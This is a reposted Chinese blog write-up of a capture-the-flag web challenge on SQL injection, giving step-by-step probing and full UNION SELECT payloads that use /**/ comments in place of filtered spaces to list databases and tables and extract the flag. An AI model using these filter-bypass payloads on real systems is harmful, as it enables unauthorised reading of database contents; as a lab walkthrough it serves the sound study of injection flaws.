首页 > 数据库技术 > 详细

实验吧 简单的SQL注入1

时间:2018-11-04 00:16:51      阅读:152      评论:0      收藏:0      [点我收藏+]

解题链接: http://ctf5.shiyanbar.com/423/web/

解题思路:一,   输入1,不报错;输入1‘,报错;输入1‘‘,不报错。

二 ,   输入1 and 1=1,返回1 1=1,可知,and被过滤了。

三,    输入1 union select,返回1 select,猜测关键词被过滤。

四,    用/**/代替空格,爆库:1‘/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/‘1‘=‘1。

五,  爆表:1‘/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/‘1‘=‘1。

六,  最后一步:1‘/**/union/**/select/**/flag/**/from/**/flag/**/where/**/‘1‘=‘1。

实验吧 简单的SQL注入1

原文:https://www.cnblogs.com/whitehawk/p/9902576.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!